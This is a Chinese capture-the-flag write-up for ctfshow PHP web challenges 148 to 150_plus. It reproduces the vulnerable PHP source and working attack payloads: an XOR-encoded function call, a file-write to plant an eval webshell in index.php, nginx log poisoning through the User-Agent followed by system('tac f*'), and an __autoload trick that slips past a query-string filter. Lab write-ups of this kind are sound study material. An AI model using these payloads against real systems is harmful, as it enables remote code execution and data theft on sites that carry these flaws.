else{highlight_file(__FILE__);
}function get_ctfshow_fl0g(){echo file_get_contents("flag.php");
}

还是异或

play load:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");

ctfshow{5f8f93be-e4c2-4171-827c-f4ef66195186}

web 149

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40*/error_reporting(0);
highlight_file(__FILE__);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}

解题方法如下:

写一句话到index.php中

成功写入

查看根目录文件

发现可疑文件名,查看文件内容,得出flag

ctfshow{8d6220b6-ba24-4de9-9314-5f788d596b98}

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
?>

考察User-Agent日志包含
bp抓包,将User-Agent改为<?php eval($_POST[1]);?>,然后传参
payload:

GET: ?isVIP=1
POST: ctf=/var/log/nginx/access.log&1=system('tac f*');

 ctfshow{75dbeb0a-1050-4825-b9a0-cf25f5fefa37}

web150_plus

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}

分析代码:

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}

从上述代码中可以看出不能有:log说明不能用伪协议和日志包含

使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用
在定义这个函数后,尝试使用不存在的类的时候会自动加载
用法参考 PHP中__autoload()魔术方法详解
class_exists()
同样会触发这个函数

传入?..CTFSHOW..=phpinfo就会执行phpinfo()

可以参考:

PHP文件包含漏洞(利用phpinfo)

得到flag

ctfshow{88fa67ef-7a37-423f-87b9-d32ec87b89d3}

ctf-web入门-php特性相关推荐

  1. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

  2. Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...

  3. CTF·WEB入门之路

    Hello~大家好,这里是KOKO师傅! 对于初学者来说,打CTF之路仿佛是摸石头过河,而今天这篇文章则是一篇"从入门到入土"级别的概括类文章.从这篇文章中你可以了解到CTF的一些 ...

  4. ctf show-web入门 php特性篇部分题解

    ctfshow php特性 preg_match() intval() web96(路径问题) web98 web99(in_array弱类型比较) in_array() web100 var_dum ...

  5. ctfshow web入门 php特性

    文章目录 web89 web90 web91 web92 姿势一 姿势二 姿势三 web93 web94 web95 web96 姿势一 姿势二 web97 web98 web99 web100 姿势 ...

  6. CTF — web入门(持续更新…)

    WEB简介 web俗称web安全,当大家打开浏览器那一刻.就开始和web打交道了,web安全是网络中最经典的应用之一. WEB常见术语 web前端 Web前端开发工程师,主要职责是利用(X)HTML/ ...

  7. ctfshow web入门 PHP特性学习笔记91

    web 91 payload: ?cmd=php%0a1 show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_ma ...

  8. ctfshow web入门 PHP特性后篇(web133-web150)

    目录 web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 ...

  9. 信息安全web入门——南邮ctf解题

    南京邮电大学ctf--web 签到题 查看源码 鼠标右键查看源码或ctrl+u md5 collision 题目给出源码 <?php $md51 = md5('QNKCDZO'); $a = @ ...

  10. CTF——web个人总结

    CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...

最新文章

  1. 前端开发面试题总结之——JAVASCRIPT(一)
  2. 按次计费接口的简单实现思路
  3. 2021考研数一李正元400题、张宇4套卷题目整理
  4. java 手势识别,AndroidStudio:手势识别
  5. 译: 3. RabbitMQ Spring AMQP 之 Publish/Subscribe 发布和订阅
  6. JavaScript-分支和循环
  7. ThinkPhp 使用 PHP_XLSXWriter 代替 PHPExcel 百万级数据单次导出
  8. QML Text 文字元素
  9. linux高通内核移植工具十教程
  10. 如何把大写金额变为小写数字_如何将小写金额转换为大写金额?这几个公式你至少要学会一个……...
  11. java excel添加批注
  12. 参加了feedsky的blog挑战赛
  13. (11) IFC中物理文件解析 (Industry Foundation Class)
  14. Java之一 Java语 言 的 产 生 及 其 特 点
  15. ubuntu 解包和压包.img文件
  16. Android JSON解析并展现在listactivity实例
  17. HTML5期末考核大作业,个人网站—— 程序员个人简历模板下载HTML+CSS+JavaScript
  18. C语言学生成绩管理系统——检查学号姓名,双向循环链表
  19. 野路子玩Qt,第三十一集,擦玻璃游戏
  20. Generative Adversarial Nets 生成对抗网络

热门文章

  1. 基于CISe@ZnS新型近红外二区量子点生物探针(CuInS2/ZnS量子点,Cd掺杂ZnO量子点,InP/ZnS,荧光Ag2S量子点)
  2. VS code 保存自动刷新chrome浏览器(详细)
  3. 计算机操作系统的主要功能
  4. Ubuntu 20.04 桌面美化
  5. 学生专用计算机怎样开启关机,电脑自动关机,教您笔记本怎么设置自动关机
  6. 服务器性能差用cdn有用吗,CDN加速有用吗?对网站有什么好处?
  7. 计算机桌面图标乱码,电脑软件上的文字变乱码怎么办?怎么修复?
  8. dfuse 和 EOS Studio 携手让开发者工具更上一层楼
  9. 10个问题说清楚 什么是元宇宙 - 十问元宇宙:如何将抽象的概念具象化?
  10. 03-CPU散片是什么意思?靠谱吗?散装CPU与盒装CPU有什么区别?